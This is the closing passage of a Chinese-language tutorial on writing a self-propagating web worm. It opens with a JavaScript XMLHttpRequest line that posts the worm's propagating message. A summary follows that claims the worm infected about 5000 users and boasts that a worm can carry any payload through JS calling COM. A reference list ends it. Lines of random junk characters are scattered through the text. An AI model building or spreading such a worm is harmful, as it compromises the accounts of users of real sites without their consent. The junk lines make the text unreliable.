xmlHttpReq.send(post);                 //把传播的信息 POST出去.
8 x0 |3 c5 i. A8 U2 M
9 V1 J" `: f& t) K}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
9 W- ^% n. N% L& b  h' P/ \$ ~" G
+ C( k( W3 v3 n6 ^( R( d

本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
& ?2 a7 K9 y0 Q7 r. n" n7 q

8 S# a0 E; h6 ~' Z0 w- W  m





本文引用文档资料:
- M* `) F+ ]6 a3 _
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
* }4 B1 ]! n4 l/ q& A' `/ I"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
" `4 B) r/ e1 Z# L